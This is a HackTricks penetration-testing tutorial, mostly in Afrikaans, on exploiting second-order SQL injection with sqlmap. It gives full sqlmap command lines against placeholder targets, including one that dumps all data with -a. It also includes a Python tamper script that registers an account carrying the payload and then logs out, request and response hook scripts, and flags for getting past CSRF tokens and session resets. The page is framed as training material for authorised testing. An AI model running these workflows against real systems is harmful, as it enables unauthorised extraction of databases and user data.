Second Order Injection met SQLMap
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.
SQLMap kan Second Order SQLis uitbuit.
Jy moet voorsien:
- Die request waar die sqlinjection payload gestoor gaan word
- Die request waar die payload uitgevoer sal word
Die request waar die SQL injection payload gestoor word, word aangedui soos in enige ander injection in sqlmap. Die request waar sqlmap die output/uitvoering van die injection kan lees, kan aangedui word met --second-url of met --second-req as jy ’n volledige request uit ’n file moet aandui.
Simple second order example:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
In verskeie gevalle sal dit nie genoeg wees nie omdat jy ander aksies sal moet uitvoer behalwe om die payload te stuur en ’n ander page te access.
Wanneer dit nodig is, kan jy ’n sqlmap tamper gebruik. Byvoorbeeld, die volgende script sal ’n nuwe user registreer deur sqlmap payload as email te gebruik en logout.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
A SQLMap tamper word altyd uitgevoer voordat ’n injection probeerslag met ’n payload begin en dit moet ’n payload teruggee. In hierdie geval gee ons nie om vir die payload nie, maar ons gee om om sekere requests te stuur, so die payload word nie verander nie.
So, as ons om een of ander rede ’n meer komplekse flow nodig het om die second order SQL injection te exploit, soos:
- Skep ’n account met die SQLi payload binne die “email” field
- Logout
- Login met daardie account (login.txt)
- Stuur ’n request om die SQL injection uit te voer (second.txt)
Hierdie sqlmap line sal help:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Nuttige switches in werklike second-order flows
Second-order automation misluk gewoonlik omdat die payload storage request werk, maar die execution request lawaaierig, stateful, of protected is. Wanneer dit gebeur, is die volgende flags gewoonlik nuttiger as om meer payloads by te voeg:
sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
--csrf-token,--csrf-url,--csrf-method: Nuttig wanneer die store- of trigger request elke poging `n nuwe anti-CSRF token benodig.--live-cookies: Herlaai cookies voor elke request. Nuttig wanneer `n browser/Burp macro sessie-toestand in die agtergrond verfris.--safe-reqen--safe-freq: Hou die workflow aan die gang wanneer die application jou uitlog of die session ongeldig maak na `n paar mislukte probes.--string,--not-string,--regexp,--code,--text-only: Nuttig wanneer die second-order response banners, ads, timestamps, of user-generated junk bevat wat diffing onstabiel maak.
When --tamper is not enough
tamper.py is steeds die maklikste manier om `n register a payload, log out, log in again, and trigger execution. However, op moderne targets is dit dikwels skoner om sommige van die logic na request/response hooks te skuif:
--preprocess: Wysig die volledige HTTP request voor dit gestuur word. Nuttig wanneern second-order flown ekstra nonce, `n ekstra parameter, of header normalization nodig het.--postprocess: Maak die HTTP response skoon voor sqlmap dit vergelyk. Nuttig wanneer die second-order sink in dynamic HTML toegedraai is en slegs `n klein fragment stabiel is.
Example request/response hooks:
#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code
Belangrike beperkings
- Moenie aanneem dat
--second-reqdieselfde payload binnen*placeholder in die tweede request sal herhaal nie. As die trigger request ook die geïnjekteerde value nodig het (ofn afgelei weergawe daarvan), isn customtamper,–preprocess, ofn local proxy` gewoonlik nodig. - Moenie op
--evalstaatmaak vir die tweede request nie. Amptelike usage dokumente gebruik--evalvir die primary request flow; as die tweede request ook per-poging mutations nodig het, hanteer dit eerder binne jou helper scripts.
Hierdie patroon is veral nuttig wanneer die payload gestoor word in plekke soos:
- Filenames of image metadata wat later gevra word
- Registration/profile fields wat later deur admin panels gebruik word
- Sorting/filtering preferences wat server-side gestoor en later weer gespeel word
- Workflow state wat eers ná `n preview, export, of moderation action uitgevoer word
References
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


